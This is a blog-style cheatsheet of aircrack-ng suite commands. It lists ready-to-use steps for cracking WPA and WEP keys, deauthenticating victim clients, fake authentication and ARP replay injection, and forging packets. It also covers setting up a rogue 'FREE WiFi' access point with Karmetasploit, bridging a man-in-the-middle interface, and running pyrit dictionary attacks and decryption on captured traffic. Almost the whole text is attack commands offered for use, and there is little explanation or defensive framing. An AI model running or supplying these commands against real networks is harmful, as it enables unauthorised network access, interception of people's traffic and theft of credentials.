Aircrack-ng Cheatsheet

BY DO SON · APRIL 11, 2017

Setting TX POWER

iw reg set BO
iwconfig wlan1 txpower 25

Cracking WPA

airmon-ng start wlan0
airodump-ng -c (channel) –bssid (AP MAC) -w (filename) wlan0mon
aireplay-ng -0 1 -a (AP MAC) -c (VIC CLIENT) wlan0mon {disassociation attack}
aircrack-ng -0 -w (wordlist path) (caputure filename)

Cracking WEP with Connected Clients

airmon-ng start wlan0 (channel)
airodump-ng -c (channel) –bssid (AP MAC) -w (filename) wlan0mon
aireplay-ng -1 0 -e (ESSID) -a (AP MAC) -h (OUR MAC) wlan0mon {fake authentication}
aireplay-ng -0 1 -a (AP MAC) -c (VIC CLIENT) wlan0mon {disassociation attack}
aireplay-ng -3 -b (AP MAC) -h (OUR MAC) wlan0mon {ARP replay attack}

Cracking WEP via a Client

airmon-ng start wlan0 (channel)
airodump-ng -c (channel) –bssid (AP MAC) -w (filename) wlan0mon
aireplay-ng -1 0 -e (ESSID) -a (AP MAC) -h (OUR MAC) wlan0mon {fake authentication}
aireplay-ng -2 -b (AP MAC) -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 wlan0mon
aireplay-ng -2 -r (replay cap file) wlan0mon {inject using cap file}
aircrack-ng -0 -z(PTW) -n 64(64bit) filename.cap

ARP amplification

airmon-ng start wlan0 (channel)
airodump-ng -c (channel) –bssid (AP MAC) -w (filename) wlan0mon
aireplay-ng -1 500 -q 8 -a (AP MAC) wlan0mon
areplay-ng -5 -b (AP MAC) -h (OUR MAC) wlan0mon
packetforge-ng -0 -a (AP MAC) -h (OUR MAC) -k 255.255.255.255 -l 255.255.255.255 -y (FRAGMENT.xor) -w (filename.cap)
tcpdump -n -vvv -e -s0 -r (replay_dec.#####.cap)
packetforge-ng -0 -a (AP MAC) -h (OUR MAC) -k (destination IP) -l (source IP) -y (FRAGMENT.xor) -w (filename.cap)
aireplay-ng -2 -r (filename.cap) wlan0mon

Cracking WEP /w shared key AUTH

airmon-ng start wlan0 (channel)
airodump-ng -c (channel) –bssid (AP MAC) -w (filename) wlan0mon
~this will error out~aireplay-ng -1 0 -e (ESSID) -a (AP MAC) -h (OUR MAC) wlan0mon {fake authentication}
aireplay-ng -0 1 -a (AP MAC) -c (VIC CLIENT) wlan0mon {deauthentication attack}
aireplay-ng -1 60 -e (ESSID) -y (sharedkeyfile) -a (AP MAC) -h (OUR MAC) wlan0mon {fake authentication /w PRGA xor file}
aireplay-ng -3 -b (AP MAC) -h (OUR MAC) wlan0mon {ARP replay attack}
aireplay-ng -0 1 -a (AP MAC) -c (VIC CLIENT) wlan0mon {deauthentication attack}
aircrack-ng -0 -z(PTW) -n 64(64bit) filename.cap

Cracking a Clientless WEP (FRAG AND KOREK)

{FRAG}

airmon-ng start wlan0 (channel)

airodump-ng -c (channel) –bssid (AP MAC) -w (filename) wlan0mon

aireplay-ng -1 60 -e (ESSID) -a (AP MAC) -h (OUR MAC) wlan0mon {fake authentication}

~aireplay-ng -5 (frag attack) -b (AP MAC) -h (OUR MAC) wlan0mon

packetforge-ng -0 -a (APMAC) -h (OUR MAC) -l 255.255.255.255 -k 255.255.255.255 -y (fragment filename) -w filename.cap

tcpdump -n -vvv -e -s0 -r filename.cap {TEST}

aireplay-ng -2 -r filename.cap wlan0mon

{KOREK}

~aireplay-ng -4 -b (AP MAC) -h (OUR MAC) wlan0mon

tcpdump -s 0 -s -e -r replayfilename.cap

packetforge-ng -0 -a (APMAC) -h (OUR MAC) -l 255.255.255.255(source IP) -k 255.255.255.255(dest IP) -y (fragmentfilename xor) -w filename.cap

aireplay-ng -2 -r filename.cap wlan0mon

aircrack-ng -0 filename.cap

Karmetasploit

airbase-ng -c (channel) -P -C 60 -e “FREE WiFi” -v wlan0mon

ifconfig at0 up 10.0.0.1/24

mkdir -p /var/run/dhcpd

```
chown -R dhcpd:dhcpd /var/run/dhcpd
touch /var/lib/dhcp3/dhcpd.leases
cat dhcpd.conf
touch /tmp/dhcp.log
chown dhcpd:dhcpd /tmp/dhcp.log
dhcpd3 -f -cf /tmp/dhcpd.conf -pf /var/run/dhcpd/pid -lf /tmp/dhcp.log at0
msfconsole -r /root/karma.rc
```

Bridge CTRL man in the middle SETUP

```
airebase-ng -c 3 -e “FREE WiFi” wlan0mon
brctl addbr hacker(interface name)
brctl addif hacker eth0
brctl addif hacker at0
ifconfig eth0 0.0.0.0 up
ifconfig at0 0.0.0.0 up
ifconfig hacker 192.168.1.8 up
ifconfig hacker
echo 1 > /proc/sys/net/ipv4/ip_forward
```

pyrit DB attacks

```
pyrit eval
pyrit -i (wordlist) import_passwords
pyrit -e (essid) create_essid
```

pyrit batch
pyrit batch -r (capturefile) -b(AP MAC) attack_db

pyrit strip
pyrit -r (capturefile) -o (capturefile output) strip

pyrit dictionary attack
pyrit -r (capturefile) -i (/pathtowordlist) -b (AP MAC) attack_passthrough

airgraph-ng

airgraph-ng -i filename.csv -g CAPR -o outputfilename.png
eog outputfilename.png
airgraph-ng -i filename.csv -g CPG -o outputfilename.png
eog outputfilename.png

airdecap-ng

airdecap-ng -b (vic ap) outputfilename.cap
wireshark outputfilename.cap
airdecap-ng -w (WEP KEY) (capturefile.cap)
wireshark capturefile-DEC.cap
airdecap-ng -e (ESSID VIC) -p (WPA PASSWORD) (capturefile.cap)
wireshark capturefile-dec.cap

Tags: Aircrack-ng Cheatsheet aircrack-ng tutorial